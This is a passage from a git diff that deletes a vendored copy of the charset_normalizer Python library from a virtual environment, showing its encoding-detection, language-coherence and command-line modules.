fit given bytes sequence at ALL. %s", - encoding_iana, - str(e), - ) - tested_but_hard_failure.append(encoding_iana) - continue - - r_ = range( - 0 if not bom_or_sig_available else len(sig_payload), - length, - int(length / steps), - ) - - multi_byte_bonus: bool = ( - is_multi_byte_decoder - and decoded_payload is not None - and len(decoded_payload) < length - ) - - if multi_byte_bonus: - logger.log( - TRACE, - "Code page %s is a multi byte encoding table and it appear that at least one character " - "was encoded using n-bytes.", - encoding_iana, - ) - - max_chunk_gave_up: int = int(len(r_) / 4) - - max_chunk_gave_up = max(max_chunk_gave_up, 2) - early_stop_count: int = 0 - lazy_str_hard_failure = False - - md_chunks: list[str] = [] - md_ratios = [] - - try: - for chunk in cut_sequence_chunks( - sequences, - encoding_iana, - r_, - chunk_size, - bom_or_sig_available, - strip_sig_or_bom, - sig_payload, - is_multi_byte_decoder, - decoded_payload, - deferred_decoding, - ): - md_chunks.append(chunk) - - md_ratios.append( - cached_mess_ratio( - chunk, - threshold, - explain and 1 <= len(cp_isolation) <= 2, - ) - ) - - if md_ratios[-1] >= threshold: - early_stop_count += 1 - - if (early_stop_count >= max_chunk_gave_up) or ( - bom_or_sig_available and not strip_sig_or_bom - ): - break - except ( - UnicodeDecodeError, - LookupError, - ) as e: # Lazy str loading may have missed something there - if deferred_decoding: - # Deferred single-byte validation failed on a chunk (or the - # codec is unavailable on this interpreter build): identical - # outcome and bookkeeping to the eager full-decode failure. - logger.log( - TRACE, - "Code page %s does not fit given bytes sequence at ALL. %s", - encoding_iana, - str(e), - ) - tested_but_hard_failure.append(encoding_iana) - continue - logger.log( - TRACE, - "LazyStr Loading: After MD chunk decode, code page %s does not fit given bytes sequence at ALL. %s", - encoding_iana, - str(e), - ) - early_stop_count = max_chunk_gave_up - lazy_str_hard_failure = True - - mean_mess_ratio: float = sum(md_ratios) / len(md_ratios) if md_ratios else 0.0 - - # We might want to check the sequence again with the whole content, - # but only if initial MD tests passed. - if ( - not lazy_str_hard_failure - and is_too_large_sequence - and not is_multi_byte_decoder - and mean_mess_ratio < threshold - and early_stop_count < max_chunk_gave_up - ): - try: - sequences[int(50e3) :].decode(encoding_iana, errors="strict") - except UnicodeDecodeError as e: - logger.log( - TRACE, - "LazyStr Loading: After final lookup, code page %s does not fit given bytes sequence at ALL. %s", - encoding_iana, - str(e), - ) - tested_but_hard_failure.append(encoding_iana) - continue - - if mean_mess_ratio >= threshold or early_stop_count >= max_chunk_gave_up: - tested_but_soft_failure.append(encoding_iana) - if encoding_iana in IANA_SUPPORTED_SIMILAR: - soft_failure_skip.update(IANA_SUPPORTED_SIMILAR[encoding_iana]) - logger.log( - TRACE, - "%s was excluded because of initial chaos probing. Gave up %i time(s). " - "Computed mean chaos is %f %%.", - encoding_iana, - early_stop_count, - round(mean_mess_ratio * 100, ndigits=3), - ) - # Preparing those fallbacks in case we got nothing. - if ( - enable_fallback - and encoding_iana - in ["ascii", "utf_8", specified_encoding, "utf_16", "utf_32"] - and not lazy_str_hard_failure - ): - # Always fully decode payload before. - # We've missed a UnicodeDecodeError proof - # while issuing release 3.4.8 - # see https://github.com/jawah/charset_normalizer/issues/771 - if decoded_payload is None: - try: - decoded_payload = str( - ( - sequences - if not strip_sig_or_bom - else sequences[len(sig_payload) :] - ), - encoding=encoding_iana, - ) - except (UnicodeDecodeError, LookupError): - logger.log( - TRACE, - "%s does not decode the whole payload: fallback entry withheld.", - encoding_iana, - ) - continue - if is_too_large_sequence: - # Don't retain huge payload in RAM. - decoded_payload = None - - fallback_entry = CharsetMatch( - sequences, - encoding_iana, - threshold, - bom_or_sig_available, - [], - decoded_payload, - preemptive_declaration=specified_encoding, - ) - if encoding_iana == specified_encoding: - fallback_specified = fallback_entry - elif encoding_iana == "ascii": - fallback_ascii = fallback_entry - else: - fallback_u8 = fallback_entry - continue - - if deferred_decoding: - # The candidate passed chaos probing: perform the whole payload - # decode (validation + payload reuse) that was deferred earlier. - try: - decoded_payload = str( - ( - sequences - if not strip_sig_or_bom - else sequences[len(sig_payload) :] - ), - encoding=encoding_iana, - ) - except (UnicodeDecodeError, LookupError) as e: - logger.log( - TRACE, - "Code page %s does not fit given bytes sequence at ALL. %s", - encoding_iana, - str(e), - ) - tested_but_hard_failure.append(encoding_iana) - continue - - logger.log( - TRACE, - "%s passed initial chaos probing. Mean measured chaos is %f %%", - encoding_iana, - round(mean_mess_ratio * 100, ndigits=3), - ) - - if not is_multi_byte_decoder: - target_languages: list[str] = encoding_languages(encoding_iana) - else: - target_languages = mb_encoding_languages(encoding_iana) - - if target_languages: - logger.log( - TRACE, - "%s should target any language(s) of %s", - encoding_iana, - target_languages, - ) - - cd_ratios = [] - - # Run coherence detection on all chunks. We previously tried limiting to - # 1-2 chunks for post-definitive encodings to save time, but this caused - # coverage regressions by producing unrepresentative coherence scores. - # The SB cap and language-family skip optimizations provide sufficient - # speedup without sacrificing coherence accuracy. - if encoding_iana != "ascii": - # We shall skip the CD when its about ASCII - # Most of the time its not relevant to run "language-detection" on it. - lg_inclusion: str | None = ( - ",".join(target_languages) if target_languages else None - ) - - for chunk in md_chunks: - chunk_languages = cached_coherence_ratio( - chunk, - language_threshold, - lg_inclusion, - ) - - cd_ratios.append(chunk_languages) - - cd_ratios_merged = merge_coherence_ratios(cd_ratios) - - if cd_ratios_merged: - logger.log( - TRACE, - "We detected language %s using %s", - cd_ratios_merged, - encoding_iana, - ) - - current_match = CharsetMatch( - sequences, - encoding_iana, - mean_mess_ratio, - bom_or_sig_available, - cd_ratios_merged, - ( - decoded_payload - if ( - not is_too_large_sequence - or encoding_iana in [specified_encoding, "ascii", "utf_8"] - ) - else None - ), - preemptive_declaration=specified_encoding, - ) - - results.append(current_match) - - # Count post-definitive same-family SB successes for the early termination cap. - # Only count low-mess encodings (< 2%) toward the cap. High-mess encodings are - # marginal results that shouldn't prevent better-quality candidates from being - # tested. For example, iso8859_4 (mess=0%) should not be skipped just because - # 7 high-mess Latin encodings (cp1252 at 8%, etc.) were tried first. - if ( - definitive_match_found - and not is_multi_byte_decoder - and mean_mess_ratio < 0.02 - ): - post_definitive_sb_success_count += 1 - - if ( - encoding_iana in [specified_encoding, "ascii", "utf_8"] - and mean_mess_ratio < 0.1 - ): - # If md says nothing to worry about, then... stop immediately! - if mean_mess_ratio == 0.0: - logger.debug( - "Encoding detection: %s is most likely the one.", - current_match.encoding, - ) - if explain: # Defensive: ensure exit path clean handler - logger.removeHandler(explain_handler) - logger.setLevel(previous_logger_level) - return CharsetMatches([current_match]) - - early_stop_results.append(current_match) - - if ( - len(early_stop_results) - and (specified_encoding is None or specified_encoding in tested) - and "ascii" in tested - and "utf_8" in tested - ): - probable_result = early_stop_results.best() - assert probable_result is not None - logger.debug( - "Encoding detection: %s is most likely the one.", - probable_result.encoding, - ) - if explain: # Defensive: ensure exit path clean handler - logger.removeHandler(explain_handler) - logger.setLevel(previous_logger_level) - - return CharsetMatches([probable_result]) - - # Once we find a result with good coherence (>= 0.5) after testing the - # prioritized encodings (ascii, utf_8), activate "definitive mode": skip - # encodings that target completely different language families. This avoids - # running expensive mess_ratio + coherence_ratio on clearly unrelated - # candidates (e.g., Cyrillic encodings when the match is Latin-based). - # We require coherence >= 0.5 to avoid false positives (e.g., cp1251 decoding - # Hebrew text with 0.0 chaos but wrong language detection at coherence 0.33). - if not definitive_match_found and not is_multi_byte_decoder: - best_coherence = ( - max((v for _, v in cd_ratios_merged), default=0.0) - if cd_ratios_merged - else 0.0 - ) - if best_coherence >= 0.5 and "ascii" in tested and "utf_8" in tested: - definitive_match_found = True - definitive_target_languages.update(target_languages) - logger.log( - TRACE, - "Definitive match found: %s (chaos=%.3f, coherence=%.2f). Encodings targeting different language families will be skipped.", - encoding_iana, - mean_mess_ratio, - best_coherence, - ) - - # When a non-UTF multibyte encoding passes chaos probing with significant - # multibyte content (decoded < 98% of raw), activate mb_definitive_match. - # This skips all remaining single-byte encodings which would either soft-fail - # (running expensive mess_ratio for nothing) or produce inferior results. - if ( - not mb_definitive_match_found - and is_multi_byte_decoder - and multi_byte_bonus - and decoded_payload is not None - and len(decoded_payload) < length * 0.98 - and encoding_iana - not in { - "utf_8", - "utf_8_sig", - "utf_16", - "utf_16_be", - "utf_16_le", - "utf_32", - "utf_32_be", - "utf_32_le", - "utf_7", - } - and "ascii" in tested - and "utf_8" in tested - ): - mb_definitive_match_found = True - logger.log( - TRACE, - "Multi-byte definitive match: %s (chaos=%.3f, decoded=%d/%d=%.1f%%). Single-byte encodings will be skipped.", - encoding_iana, - mean_mess_ratio, - len(decoded_payload), - length, - len(decoded_payload) / length * 100, - ) - - if encoding_iana == sig_encoding: - logger.debug( - "Encoding detection: %s is most likely the one as we detected a BOM or SIG within " - "the beginning of the sequence.", - encoding_iana, - ) - if explain: # Defensive: ensure exit path clean handler - logger.removeHandler(explain_handler) - logger.setLevel(previous_logger_level) - return CharsetMatches([results[encoding_iana]]) - - if len(results) == 0: - if fallback_u8 or fallback_ascii or fallback_specified: - logger.log( - TRACE, - "Nothing got out of the detection process. Using ASCII/UTF-8/Specified fallback.", - ) - - if fallback_specified: - logger.debug( - "Encoding detection: %s will be used as a fallback match", - fallback_specified.encoding, - ) - results.append(fallback_specified) - elif ( - (fallback_u8 and fallback_ascii is None) - or ( - fallback_u8 - and fallback_ascii - and fallback_u8.fingerprint != fallback_ascii.fingerprint - ) - or (fallback_u8 is not None) - ): - logger.debug("Encoding detection: utf_8 will be used as a fallback match") - results.append(fallback_u8) - elif fallback_ascii: - logger.debug("Encoding detection: ascii will be used as a fallback match") - results.append(fallback_ascii) - - if results: - logger.debug( - "Encoding detection: Found %s as plausible (best-candidate) for content. With %i alternatives.", - results.best().encoding, # type: ignore - len(results) - 1, - ) - else: - logger.debug("Encoding detection: Unable to determine any suitable charset.") - - if explain: - logger.removeHandler(explain_handler) - logger.setLevel(previous_logger_level) - - return results - - -def from_fp( - fp: BinaryIO, - steps: int = 5, - chunk_size: int = 512, - threshold: float = 0.20, - cp_isolation: list[str] | None = None, - cp_exclusion: list[str] | None = None, - preemptive_behaviour: bool = True, - explain: bool = False, - language_threshold: float = 0.1, - enable_fallback: bool = True, -) -> CharsetMatches: - """ - Same thing than the function from_bytes but using a file pointer that is already ready. - Will not close the file pointer. - """ - return from_bytes( - fp.read(), - steps, - chunk_size, - threshold, - cp_isolation, - cp_exclusion, - preemptive_behaviour, - explain, - language_threshold, - enable_fallback, - ) - - -def from_path( - path: str | bytes | PathLike, # type: ignore[type-arg] - steps: int = 5, - chunk_size: int = 512, - threshold: float = 0.20, - cp_isolation: list[str] | None = None, - cp_exclusion: list[str] | None = None, - preemptive_behaviour: bool = True, - explain: bool = False, - language_threshold: float = 0.1, - enable_fallback: bool = True, -) -> CharsetMatches: - """ - Same thing than the function from_bytes but with one extra step. Opening and reading given file path in binary mode. - Can raise IOError. - """ - with open(path, "rb") as fp: - return from_fp( - fp, - steps, - chunk_size, - threshold, - cp_isolation, - cp_exclusion, - preemptive_behaviour, - explain, - language_threshold, - enable_fallback, - ) - - -def is_binary( - fp_or_path_or_payload: PathLike | str | BinaryIO | bytes, # type: ignore[type-arg] - steps: int = 5, - chunk_size: int = 512, - threshold: float = 0.20, - cp_isolation: list[str] | None = None, - cp_exclusion: list[str] | None = None, - preemptive_behaviour: bool = True, - explain: bool = False, - language_threshold: float = 0.1, - enable_fallback: bool = False, -) -> bool: - """ - Detect if the given input (file, bytes, or path) points to a binary file. aka. not a string. - Based on the same main heuristic algorithms and default kwargs at the sole exception that fallbacks match - are disabled to be stricter around ASCII-compatible but unlikely to be a string. - """ - if isinstance(fp_or_path_or_payload, (str, PathLike)): - guesses = from_path( - fp_or_path_or_payload, - steps=steps, - chunk_size=chunk_size, - threshold=threshold, - cp_isolation=cp_isolation, - cp_exclusion=cp_exclusion, - preemptive_behaviour=preemptive_behaviour, - explain=explain, - language_threshold=language_threshold, - enable_fallback=enable_fallback, - ) - elif isinstance( - fp_or_path_or_payload, - ( - bytes, - bytearray, - ), - ): - guesses = from_bytes( - fp_or_path_or_payload, - steps=steps, - chunk_size=chunk_size, - threshold=threshold, - cp_isolation=cp_isolation, - cp_exclusion=cp_exclusion, - preemptive_behaviour=preemptive_behaviour, - explain=explain, - language_threshold=language_threshold, - enable_fallback=enable_fallback, - ) - else: - guesses = from_fp( - fp_or_path_or_payload, - steps=steps, - chunk_size=chunk_size, - threshold=threshold, - cp_isolation=cp_isolation, - cp_exclusion=cp_exclusion, - preemptive_behaviour=preemptive_behaviour, - explain=explain, - language_threshold=language_threshold, - enable_fallback=enable_fallback, - ) - - return not guesses diff --git a/venv/Lib/site-packages/charset_normalizer/cd.cp314-win_amd64.pyd b/venv/Lib/site-packages/charset_normalizer/cd.cp314-win_amd64.pyd deleted file mode 100644 index 7dfce0c18a60113d9de600c30234d0be40cde0e3..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/charset_normalizer/cd.cp314-win_amd64.pyd +++ /dev/null @@ -1,3 +0,0 @@ -version https://git-lfs.github.com/spec/v1 -oid sha256:f234a1dbd19363a3260d6a1e2d82ec1c6e30b2e23d6057796021231d668d978a -size 119296 diff --git a/venv/Lib/site-packages/charset_normalizer/cd.py b/venv/Lib/site-packages/charset_normalizer/cd.py deleted file mode 100644 index 45a01c656a2d3c6b45fb3e6ed2594331e6538c0f..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/charset_normalizer/cd.py +++ /dev/null @@ -1,467 +0,0 @@ -from __future__ import annotations - -import importlib -from codecs import IncrementalDecoder -from functools import lru_cache - -from .constant import ( - FREQUENCIES, - KO_NAMES, - LANGUAGE_SUPPORTED_COUNT, - TOO_SMALL_SEQUENCE, - ZH_NAMES, - _FREQUENCIES_SET, - _FREQUENCIES_RANK, -) -from .md import _ASCII_CHAR_INFO, _char_info, is_suspiciously_successive_range -from .models import CoherenceMatches -from .utils import ( - is_multi_byte_encoding, - is_unicode_range_secondary, -) - - -def encoding_unicode_range(iana_name: str) -> list[str]: - """ - Return associated unicode ranges in a single byte code page. - """ - if is_multi_byte_encoding(iana_name): - raise OSError( # Defensive: - "Function not supported on multi-byte code page" - ) - - decoder = importlib.import_module(f"encodings.{iana_name}").IncrementalDecoder - - p: IncrementalDecoder = decoder(errors="ignore") - seen_ranges: dict[str, int] = {} - character_count: int = 0 - - for i in range(0x40, 0xFF): - chunk: str = p.decode(bytes([i])) - - if chunk: - chunk_codepoint = ord(chunk) - character_range: str | None = ( - _ASCII_CHAR_INFO[chunk_codepoint].range - if chunk_codepoint < 128 - else _char_info(chunk).range - ) - - if character_range is None: - continue - - if not is_unicode_range_secondary(character_range): - if character_range not in seen_ranges: - seen_ranges[character_range] = 0 - seen_ranges[character_range] += 1 - character_count += 1 - - return sorted( - [ - character_range - for character_range in seen_ranges - if seen_ranges[character_range] / character_count >= 0.15 - ] - ) - - -def unicode_range_languages(primary_range: str) -> list[str]: - """ - Return inferred languages used with a unicode range. - """ - languages: list[str] = [] - - for language, characters in FREQUENCIES.items(): - for character in characters: - codepoint = ord(character) - info = ( - _ASCII_CHAR_INFO[codepoint] - if codepoint < 128 - else _char_info(character) - ) - if info.range == primary_range: - languages.append(language) - break - - return languages - - -@lru_cache() -def encoding_languages(iana_name: str) -> list[str]: - """ - Single-byte encoding language association. Some code page are heavily linked to particular language(s). - This function does the correspondence. - """ - try: - unicode_ranges: list[str] = encoding_unicode_range(iana_name) - except ImportError: # Defensive: encoding unavailable on this build. - return [] - - primary_range: str | None = None - - for specified_range in unicode_ranges: - if "Latin" not in specified_range: - primary_range = specified_range - break - - if primary_range is None: - return ["Latin Based"] - - return unicode_range_languages(primary_range) - - -@lru_cache() -def mb_encoding_languages(iana_name: str) -> list[str]: - """ - Multi-byte encoding language association. Some code page are heavily linked to particular language(s). - This function does the correspondence. - """ - if ( - iana_name.startswith("shift_") - or iana_name.startswith("iso2022_jp") - or iana_name.startswith("euc_j") - or iana_name == "cp932" - ): - return ["Japanese"] - if iana_name.startswith("gb") or iana_name in ZH_NAMES: - return ["Chinese"] - if iana_name.startswith("iso2022_kr") or iana_name in KO_NAMES: - return ["Korean"] - - return [] - - -@lru_cache(maxsize=LANGUAGE_SUPPORTED_COUNT) -def get_target_features(language: str) -> tuple[bool, bool]: - """ - Determine main aspects from a supported language if it contains accents and if is pure Latin. - """ - target_have_accents: bool = False - target_pure_latin: bool = True - - for character in FREQUENCIES[language]: - codepoint = ord(character) - info = _ASCII_CHAR_INFO[codepoint] if codepoint < 128 else _char_info(character) - if not target_have_accents and info.accentuated: - target_have_accents = True - if target_pure_latin and not info.latin: - target_pure_latin = False - - return target_have_accents, target_pure_latin - - -def alphabet_languages( - characters: list[str], ignore_non_latin: bool = False -) -> list[str]: - """ - Return associated languages associated to given characters. - """ - languages: list[tuple[str, float]] = [] - - characters_set: frozenset[str] = frozenset(characters) - source_have_accents = False - for character in characters: - codepoint = ord(character) - info = _ASCII_CHAR_INFO[codepoint] if codepoint < 128 else _char_info(character) - if info.accentuated: - source_have_accents = True - break - - for language, language_characters in FREQUENCIES.items(): - target_have_accents, target_pure_latin = get_target_features(language) - - if ignore_non_latin and not target_pure_latin: - continue - - if not target_have_accents and source_have_accents: - continue - - character_count: int = len(language_characters) - - character_match_count: int = len(_FREQUENCIES_SET[language] & characters_set) - - ratio: float = character_match_count / character_count - - if ratio >= 0.2: - languages.append((language, ratio)) - - languages = sorted(languages, key=lambda x: x[1], reverse=True) - - return [compatible_language[0] for compatible_language in languages] - - -def characters_popularity_compare( - language: str, ordered_characters: list[str] -) -> float: - """ - Determine if a ordered characters list (by occurrence from most appearance to rarest) match a particular language. - The result is a ratio between 0. (absolutely no correspondence) and 1. (near perfect fit). - Beware that is function is not strict on the match in order to ease the detection. (Meaning close match is 1.) - """ - if language not in FREQUENCIES: - raise ValueError(f"{language} not available") # Defensive: - - character_approved_count: int = 0 - lang_rank: dict[str, int] = _FREQUENCIES_RANK[language] - - ordered_characters_count: int = len(ordered_characters) - target_language_characters_count: int = len(FREQUENCIES[language]) - - large_alphabet: bool = target_language_characters_count > 26 - large_alphabet_threshold: float = target_language_characters_count / 3 - - expected_projection_ratio: float = ( - target_language_characters_count / ordered_characters_count - ) - - # Single pass: characters present in the language vocabulary, as - # (language rank, popularity rank) pairs. The scoring below only ever - # needs ranks, never the characters themselves. - common_lr: list[int] = [] - common_orr: list[int] = [] - for popularity_rank, character in enumerate(ordered_characters): - language_rank = lang_rank.get(character) - if language_rank is not None: - common_lr.append(language_rank) - common_orr.append(popularity_rank) - - for character_rank_in_language, character_rank in zip(common_lr, common_orr): - character_rank_projection: int = int(character_rank * expected_projection_ratio) - - if ( - not large_alphabet - and abs(character_rank_projection - character_rank_in_language) > 4 - ): - continue - - if ( - large_alphabet - and abs(character_rank_projection - character_rank_in_language) - < large_alphabet_threshold - ): - character_approved_count += 1 - continue - - if character_rank_in_language == 0: - # before_match_count is structurally 0 here (no pair can have a - # smaller language rank): the historic "before <= 4" acceptance - # always holds. (The symmetric "after_len == 0" case is - # impossible: language ranks are strictly below the language - # character count, hence after_len >= 1.) - character_approved_count += 1 - continue - - after_len: int = target_language_characters_count - character_rank_in_language - - # Count how many characters appear "before" in both orderings, and - # how many appear "at or after" in both orderings. Both counts grow - # monotonically and the approval thresholds - # (before / rank >= 0.4 or after / after_len >= 0.4) are known - # upfront, expressed below as exact integer comparisons: exit as - # soon as one is crossed. - before_match_count: int = 0 - after_match_count: int = 0 - - for lr_i, orr_i in zip(common_lr, common_orr): - if lr_i < character_rank_in_language: - if orr_i < character_rank: - before_match_count += 1 - if 5 * before_match_count >= 2 * character_rank_in_language: - character_approved_count += 1 - break - else: - if orr_i >= character_rank: - after_match_count += 1 - if 5 * after_match_count >= 2 * after_len: - character_approved_count += 1 - break - - return character_approved_count / len(ordered_characters) - - -def alpha_unicode_split(decoded_sequence: str) -> list[str]: - """ - Given a decoded text sequence, return a list of str. Unicode range / alphabet separation. - Ex. a text containing English/Latin with a bit a Hebrew will return two items in the resulting list; - One containing the latin letters and the other hebrew. - """ - layers: dict[str, list[str]] = {} - - # Fast path: track single-layer key to skip dict iteration for single-script text. - single_layer_key: str | None = None - multi_layer: bool = False - - # Cache the last character_range and its resolved layer to avoid repeated - # is_suspiciously_successive_range calls for consecutive same-range chars. - prev_character_range: str | None = None - prev_layer_target: str | None = None - - for character in decoded_sequence: - # Reuse the per-codepoint CharInfo cache: info.alpha and info.range - # are computed with the very same str.isalpha() / unicode_range() - # calls this loop historically made per character occurrence. - codepoint: int = ord(character) - if codepoint < 128: - info = _ASCII_CHAR_INFO[codepoint] - else: - info = _char_info(character) - - if not info.alpha: - continue - - character_range: str | None = info.range - - if character_range is None: - continue - - # Fast path: same range as previous character → reuse cached layer target. - if character_range == prev_character_range: - if prev_layer_target is not None: - layers[prev_layer_target].append(character) - continue - - layer_target_range: str | None = None - - if multi_layer: - for discovered_range in layers: - if not is_suspiciously_successive_range( - discovered_range, character_range - ): - layer_target_range = discovered_range - break - elif single_layer_key is not None: - if not is_suspiciously_successive_range(single_layer_key, character_range): - layer_target_range = single_layer_key - - if layer_target_range is None: - layer_target_range = character_range - - if layer_target_range not in layers: - layers[layer_target_range] = [] - if single_layer_key is None: - single_layer_key = layer_target_range - else: - multi_layer = True - - layers[layer_target_range].append(character) - - # Cache for next iteration - prev_character_range = character_range - prev_layer_target = layer_target_range - - return ["".join(chars).lower() for chars in layers.values()] - - -def merge_coherence_ratios(results: list[CoherenceMatches]) -> CoherenceMatches: - """ - This function merge results previously given by the function coherence_ratio. - The return type is the same as coherence_ratio. - """ - per_language_ratios: dict[str, list[float]] = {} - for result in results: - for sub_result in result: - language, ratio = sub_result - if language not in per_language_ratios: - per_language_ratios[language] = [ratio] - continue - per_language_ratios[language].append(ratio) - - merge = [ - ( - language, - round( - sum(per_language_ratios[language]) / len(per_language_ratios[language]), - 4, - ), - ) - for language in per_language_ratios - ] - - return sorted(merge, key=lambda x: x[1], reverse=True) - - -def filter_alt_coherence_matches(results: CoherenceMatches) -> CoherenceMatches: - """ - We shall NOT return "English—" in CoherenceMatches because it is an alternative - of "English". This function only keeps the best match and remove the em-dash in it. - """ - index_results: dict[str, list[float]] = dict() - - for result in results: - language, ratio = result - no_em_name: str = language.replace("—", "") - - if no_em_name not in index_results: - index_results[no_em_name] = [] - - index_results[no_em_name].append(ratio) - - if any(len(index_results[e]) > 1 for e in index_results): - filtered_results: CoherenceMatches = [] - - for language in index_results: - filtered_results.append((language, max(index_results[language]))) - - return filtered_results - - return results - - -def coherence_ratio( - decoded_sequence: str, threshold: float = 0.1, lg_inclusion: str | None = None -) -> CoherenceMatches: - """ - Detect ANY language that can be identified in given sequence. The sequence will be analysed by layers. - A layer = Character extraction by alphabets/ranges. - """ - - results: list[tuple[str, float]] = [] - ignore_non_latin: bool = False - - sufficient_match_count: int = 0 - - lg_inclusion_list = lg_inclusion.split(",") if lg_inclusion is not None else [] - if "Latin Based" in lg_inclusion_list: - ignore_non_latin = True - lg_inclusion_list.remove("Latin Based") - - for layer in alpha_unicode_split(decoded_sequence): - # Native counting + stable sort reproduce Counter.most_common() - # ordering exactly (ties keep first-appearance order) without the - # interpreted Counter machinery in the compiled hot path. - char_counts: dict[str, int] = {} - for layer_character in layer: - char_counts[layer_character] = char_counts.get(layer_character, 0) + 1 - - character_count: int = len(layer) - - if character_count <= TOO_SMALL_SEQUENCE: - continue - - popular_character_ordered: list[str] = [ - item[0] - for item in sorted( - char_counts.items(), key=lambda item: item[1], reverse=True - ) - ] - - for language in lg_inclusion_list or alphabet_languages( - popular_character_ordered, ignore_non_latin - ): - ratio: float = characters_popularity_compare( - language, popular_character_ordered - ) - - if ratio < threshold: - continue - elif ratio >= 0.8: - sufficient_match_count += 1 - - results.append((language, round(ratio, 4))) - - if sufficient_match_count >= 3: - break - - return sorted( - filter_alt_coherence_matches(results), key=lambda x: x[1], reverse=True - ) diff --git a/venv/Lib/site-packages/charset_normalizer/cli/__init__.py b/venv/Lib/site-packages/charset_normalizer/cli/__init__.py deleted file mode 100644 index 562b64e01cb42d989f2ddd5a8651841f700888e4..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/charset_normalizer/cli/__init__.py +++ /dev/null @@ -1,8 +0,0 @@ -from __future__ import annotations - -from .__main__ import cli_detect, query_yes_no - -__all__ = ( - "cli_detect", - "query_yes_no", -) diff --git a/venv/Lib/site-packages/charset_normalizer/cli/__main__.py b/venv/Lib/site-packages/charset_normalizer/cli/__main__.py deleted file mode 100644 index f1d6e53a47b5cd65eb0a969db75b05d387541662..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/charset_normalizer/cli/__main__.py +++ /dev/null @@ -1,363 +0,0 @@ -from __future__ import annotations - -import argparse -import sys -import typing -from os.path import abspath, basename, dirname, join, realpath -from platform import python_version -from unicodedata import unidata_version - -import charset_normalizer.md as md_module -from charset_normalizer import from_fp -from charset_normalizer.models import CliDetectionResult -from charset_normalizer.version import __version__ - - -def query_yes_no(question: str, default: str = "yes") -> bool: # Defensive: - """Ask a yes/no question via input() and return the answer as a bool.""" - prompt = " [Y/n] " if default == "yes" else " [y/N] " - - while True: - choice = input(question + prompt).strip().lower() - if not choice: - return default == "yes" - if choice in ("y", "yes"): - return True - if choice in ("n", "no"): - return False - print("Please respond with 'y' or 'n'.") - - -class FileType: - """Factory for creating file object types - - Instances of FileType are typically passed as type= arguments to the - ArgumentParser add_argument() method. - - Keyword Arguments: - - mode -- A string indicating how the file is to be opened. Accepts the - same values as the builtin open() function. - - bufsize -- The file's desired buffer size. Accepts the same values as - the builtin open() function. - - encoding -- The file's encoding. Accepts the same values as the - builtin open() function. - - errors -- A string indicating how encoding and decoding errors are to - be handled. Accepts the same value as the builtin open() function. - - Backported from CPython 3.12 - """ - - def __init__( - self, - mode: str = "r", - bufsize: int = -1, - encoding: str | None = None, - errors: str | None = None, - ): - self._mode = mode - self._bufsize = bufsize - self._encoding = encoding - self._errors = errors - - def __call__(self, string: str) -> typing.IO: # type: ignore[type-arg] - # the special argument "-" means sys.std{in,out} - if string == "-": - if "r" in self._mode: - return sys.stdin.buffer if "b" in self._mode else sys.stdin - elif any(c in self._mode for c in "wax"): - return sys.stdout.buffer if "b" in self._mode else sys.stdout - else: - msg = f'argument "-" with mode {self._mode}' - raise ValueError(msg) - - # all other arguments are used as file names - try: - return open(string, self._mode, self._bufsize, self._encoding, self._errors) - except OSError as e: - message = f"can't open '{string}': {e}" - raise argparse.ArgumentTypeError(message) - - def __repr__(self) -> str: - args = self._mode, self._bufsize - kwargs = [("encoding", self._encoding), ("errors", self._errors)] - args_str = ", ".join( - [repr(arg) for arg in args if arg != -1] - + [f"{kw}={arg!r}" for kw, arg in kwargs if arg is not None] - ) - return f"{type(self).__name__}({args_str})" - - -def cli_detect(argv: list[str] | None = None) -> int: - """ - CLI assistant using ARGV and ArgumentParser - :param argv: - :return: 0 if everything is fine, anything else equal trouble - """ - parser = argparse.ArgumentParser( - description="The Real First Universal Charset Detector. " - "Discover originating encoding used on text file. " - "Normalize text to unicode." - ) - - parser.add_argument( - "files", type=FileType("rb"), nargs="+", help="File(s) to be analysed" - ) - parser.add_argument( - "-v", - "--verbose", - action="store_true", - default=False, - dest="verbose", - help="Display complementary information about file if any. " - "Stdout will contain logs about the detection process.", - ) - parser.add_argument( - "-a", - "--with-alternative", - action="store_true", - default=False, - dest="alternatives", - help="Output complementary possibilities if any. Top-level JSON WILL be a list.", - ) - parser.add_argument( - "-n", - "--normalize", - action="store_true", - default=False, - dest="normalize", - help="Permit to normalize input file. If not set, program does not write anything.", - ) - parser.add_argument( - "-m", - "--minimal", - action="store_true", - default=False, - dest="minimal", - help="Only output the charset detected to STDOUT. Disabling JSON output.", - ) - parser.add_argument( - "-r", - "--replace", - action="store_true", - default=False, - dest="replace", - help="Replace file when trying to normalize it instead of creating a new one.", - ) - parser.add_argument( - "-f", - "--force", - action="store_true", - default=False, - dest="force", - help="Replace file without asking if you are sure, use this flag with caution.", - ) - parser.add_argument( - "-i", - "--no-preemptive", - action="store_true", - default=False, - dest="no_preemptive", - help="Disable looking at a charset declaration to hint the detector.", - ) - parser.add_argument( - "-t", - "--threshold", - action="store", - default=0.2, - type=float, - dest="threshold", - help="Define a custom maximum amount of noise allowed in decoded content. 0. <= noise <= 1.", - ) - parser.add_argument( - "--version", - action="version", - version="Charset-Normalizer {} - Python {} - Unicode {} - SpeedUp {}".format( - __version__, - python_version(), - unidata_version, - "OFF" if md_module.__file__.lower().endswith(".py") else "ON", - ), - help="Show version information and exit.", - ) - - args = parser.parse_args(argv) - - if args.replace is True and args.normalize is False: - if args.files: - for my_file in args.files: - my_file.close() - print("Use --replace in addition of --normalize only.", file=sys.stderr) - return 1 - - if args.force is True and args.replace is False: - if args.files: - for my_file in args.files: - my_file.close() - print("Use --force in addition of --replace only.", file=sys.stderr) - return 1 - - if args.threshold < 0.0 or args.threshold > 1.0: - if args.files: - for my_file in args.files: - my_file.close() - print("--threshold VALUE should be between 0. AND 1.", file=sys.stderr) - return 1 - - x_ = [] - - for my_file in args.files: - matches = from_fp( - my_file, - threshold=args.threshold, - explain=args.verbose, - preemptive_behaviour=args.no_preemptive is False, - ) - - best_guess = matches.best() - - if best_guess is None: - print( - 'Unable to identify originating encoding for "{}". {}'.format( - my_file.name, - ( - "Maybe try increasing maximum amount of chaos." - if args.threshold < 1.0 - else "" - ), - ), - file=sys.stderr, - ) - x_.append( - CliDetectionResult( - abspath(my_file.name), - None, - [], - [], - "Unknown", - [], - False, - 1.0, - 0.0, - None, - True, - ) - ) - else: - cli_result = CliDetectionResult( - abspath(my_file.name), - best_guess.encoding, - best_guess.encoding_aliases, - [ - cp - for cp in best_guess.could_be_from_charset - if 